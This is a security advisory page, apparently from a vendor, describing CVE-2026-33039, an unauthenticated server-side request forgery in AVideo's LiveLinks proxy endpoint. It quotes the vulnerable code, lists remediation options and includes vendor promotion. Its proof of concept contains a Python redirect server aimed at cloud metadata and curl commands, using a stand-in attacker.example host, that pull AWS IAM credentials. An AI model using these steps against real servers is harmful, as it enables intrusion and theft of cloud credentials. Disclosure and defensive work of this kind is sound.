CVE-2026-33039

CVE-2026-33039 is a high-severity server-side request forgery (SSRF) vulnerability in wwbn/avideo (composer), affecting versions <= 25.0. No fixed version is listed yet.

Summary

The plugin/LiveLinks/proxy.php endpoint validates user-supplied URLs against internal/private networks using isSSRFSafeURL(), but only checks the initial URL. When the initial URL responds with an HTTP redirect (Location header), the redirect target is fetched via fakeBrowser() without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.

Affected Component

  • plugin/LiveLinks/proxy.php, lines 38-42 (redirect handling without SSRF re-validation)
  • objects/functionsBrowser.php, fakeBrowser() (line 123, raw cURL fetch with no SSRF protections)

Description

Missing SSRF re-validation after HTTP redirect

The proxy.php endpoint validates the user-supplied livelink parameter against internal networks on line 18, using the comprehensive isSSRFSafeURL() function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling get_headers() on line 38, which follows HTTP redirects, the code extracts the Location header and passes it directly to fakeBrowser() without re-applying the SSRF check:

// plugin/LiveLinks/proxy.php, lines 17-42

// SSRF Protection: Block requests to internal/private networks
if (!isSSRFSafeURL($_GET['livelink'])) {                    // line 18: only checks initial URL
    _error_log("LiveLinks proxy: SSRF protection blocked URL: " . $_GET['livelink']);
    echo "Access denied: URL targets restricted network";
    exit;
}

// ... stream context setup ...

$headers = get_headers($_GET['livelink'], 1, $context);      // line 38: follows redirects
if (!empty($headers["Location"])) {
    $_GET['livelink'] = $headers["Location"];                 // line 40: attacker-controlled redirect target
    $urlinfo = parse_url($_GET['livelink']);
    $content = fakeBrowser($_GET['livelink']);                 // line 42: fetches internal URL, NO SSRF check
    $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}

No SSRF protections in fakeBrowser()

The fakeBrowser() function in objects/functionsBrowser.php performs a raw cURL GET with no URL validation:

// objects/functionsBrowser.php, lines 123-141
function fakeBrowser($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 ...');
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

No IP validation, no scheme restriction, no redirect control, any URL passed to this function is fetched unconditionally.

Endpoint is fully unauthenticated

The file begins by explicitly opting out of database and session initialization:

$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
require_once '../../videos/configuration.php';

There is no .htaccess rule restricting access to proxy.php, and the root .htaccess confirms the plugin directory is routable (line 248: RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2).

Inconsistent defense pattern

The codebase demonstrates awareness of SSRF risks, isSSRFSafeURL() is used in 5 other locations (aVideoEncoder.json.php:303, aVideoEncoderReceiveImage.json.php:67,107,135,160, AI/receiveAsync.json.php:177). However, none of these callers deal with HTTP redirects. The proxy.php endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.

Double SSRF exposure

There are actually two SSRF requests in the redirect path:

  1. get_headers() (line 38) follows the redirect to the internal IP to fetch response headers
  2. fakeBrowser() (line 42) fetches the full response body from the internal IP

The second is more impactful as it returns the full content to the attacker.

Proof of Concept

Step 1: Set up an attacker-controlled server that returns a 302 redirect to an internal target:

# redirect_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()

Step 2: Send the request to the target AVideo instance:

curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect"

Expected result: The response will contain the cloud metadata listing (e.g., ami-id, instance-id, iam/) prefixed with http://169.254.169.254: on each line. The attacker strips the prefix to recover the original metadata content.

Step 3: Escalate to IAM credential theft:

# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam"

This returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) that can be used to access cloud resources.

Recommended Remediation

Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)

Apply the same SSRF check to the redirect URL before fetching it:

$headers = get_headers($_GET['livelink'], 1, $context);
if (!empty($headers["Location"])) {
    $_GET['livelink'] = $headers["Location"];

    // Re-validate redirect target against SSRF
    if (!isSSRFSafeURL($_GET['livelink'])) {
        _error_log("LiveLinks proxy: SSRF protection blocked redirect URL: " . $_GET['livelink']);
        echo "Access denied: Redirect URL targets restricted network";
        exit;
    }

    $urlinfo = parse_url($_GET['livelink']);
    $content = fakeBrowser($_GET['livelink']);
    $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}

Option 2: Disable redirect following in get_headers()

Prevent get_headers() from following redirects entirely by adding follow_location to the stream context:

$options = array(
    'http' => array(
        'user_agent' => '...',
        'method' => 'GET',
        'header' => array("Referer: localhost\r\nAccept-language: en\r\nCookie: foo=bar\r\n"),
        'follow_location' => 0,  // Do not follow redirects
        'max_redirects' => 0,
    )
);

Then validate the Location header with isSSRFSafeURL() before following it manually. This approach prevents the get_headers() call itself from performing SSRF via the redirect.

Note: Option 1 is simpler but still allows get_headers() to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Impact

  • Cloud metadata exposure: Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials
  • Internal network scanning: Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure
  • Internal service data exfiltration: Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker
  • No authentication required: The attack is fully unauthenticated, requiring only network access to the AVideo instance

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-33039 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

wwbn/avideo (<= 25.0)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

No fixed version is listed for CVE-2026-33039 yet.

In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-33039? CVE-2026-33039 is a high-severity server-side request forgery (SSRF) vulnerability in wwbn/avideo (composer), affecting versions <= 25.0. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-33039? CVE-2026-33039 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of wwbn/avideo are affected by CVE-2026-33039? wwbn/avideo (composer) versions <= 25.0 is affected.
  4. Is there a fix for CVE-2026-33039? No fixed version is listed for CVE-2026-33039 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-33039 exploitable, and should I be worried? Whether CVE-2026-33039 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-33039 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-33039? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.

Other vulnerabilities in wwbn/avideo

CVE-2026-33731CVE-2026-33692CVE-2026-33684CVE-2026-54458CVE-2026-50183

Stop the waste.
Protect your environment with Kodem.